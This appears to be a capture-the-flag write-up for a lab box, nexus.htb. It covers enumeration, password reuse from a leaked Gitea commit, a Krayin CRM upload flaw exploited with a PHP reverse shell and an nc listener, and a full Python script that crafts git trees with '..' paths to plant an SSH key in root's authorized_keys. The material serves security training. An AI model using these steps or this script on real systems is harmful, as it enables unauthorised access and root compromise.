Enumeration
$ nmap -sC -sV 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://nexus.htb/
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4
git [Status: 200]
billing [Status: 302]
Add both subdomains to /etc/hosts. The homepage careers section lists j.matthew@nexus.htb as a hiring manager.
Foothold
Credential harvest from Gitea
git.nexus.htb hosts a public Gitea instance. The admin/krayin-docker-setup repository has a .env file — the current commit omits the password, but an earlier commit shows the deleted line:
DB_PASSWORD=RZfxh!fZucWB4
Krayin CRM file upload RCE
billing.nexus.htb is a Krayin CRM v2.2.0 login. Logging in with j.matthew@nexus.htb / RZfxh!fZucWB4 grants dashboard access.
CVE-2026-38526: the email compose attachment upload has no server-side extension validation. Attach a PHP reverse shell, intercept the upload in Burp Suite, and rename filename="shell.png" to filename="shell.php".
$ nc -lvnp 4455
www-data@nexus:~/krayin$ id
uid=33(www-data) gid=33(www-data)
Privilege Escalation
www-data → jones
www-data@nexus:~/krayin$ cat .env
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
$ ssh jones@10.129.x.x
jones@10.129.x.x's password: y27xb3ha!!74GbR
jones@nexus:~$ cat user.txt
<REDACTED>
jones → root
A systemd timer fires a Gitea template sync script every two minutes:
jones@nexus:~$ systemctl list-timers
gitea-template-sync.timer → gitea-template-sync.service
The script at /etc/gitea/template-sync.py uses os.path.join(stage_path, filepath) with paths from git ls-tree — no .. sanitisation. The staging path is /home/git/template-staging/jones/rce/; five .. hops reach /root/. Create a Gitea template repo named rce and push a crafted tree with ../../../../root/.ssh/authorized_keys as a tracked path:
#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time
def write_obj(data, t):
h = ("%s %d"%(t, len(data))).encode()+b"\x00"
s = h+data
sha = hashlib.sha1(s).hexdigest()
d = os.path.join(".git","objects",sha[:2])
os.makedirs(d, exist_ok=True)
p = os.path.join(d, sha[2:])
if not os.path.exists(p):
open(p,"wb").write(zlib.compress(s))
return sha
def entry(mode, name, sha):
return ("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)
r = subprocess.run(["cat","/tmp/k.pub"], capture_output=True, text=True)
key = r.stdout.strip()+"\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644","authorized_keys",blob), "tree")
cur = write_obj(entry("40000",".ssh",ssh_t), "tree")
fir = write_obj(entry("40000","root",cur), "tree")
for i in range(4):
fir = write_obj(entry("40000","..",fir), "tree")
root = write_obj(entry("100644","README.md",readme)+entry("40000","..",fir), "tree")
ts = int(time.time())
c = "author x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(ts,ts)
sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git","refs","heads"), exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)
$ ssh-keygen -t ed25519 -f /tmp/k -N ''
$ git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
$ cd rce && touch README.md
$ python3 /tmp/build.py
$ git push -u origin main --force
Wait for the timer, then SSH in as root:
$ ssh -i /tmp/k root@nexus.htb
root@nexus:~# cat /root/root.txt
<REDACTED>
// Discussion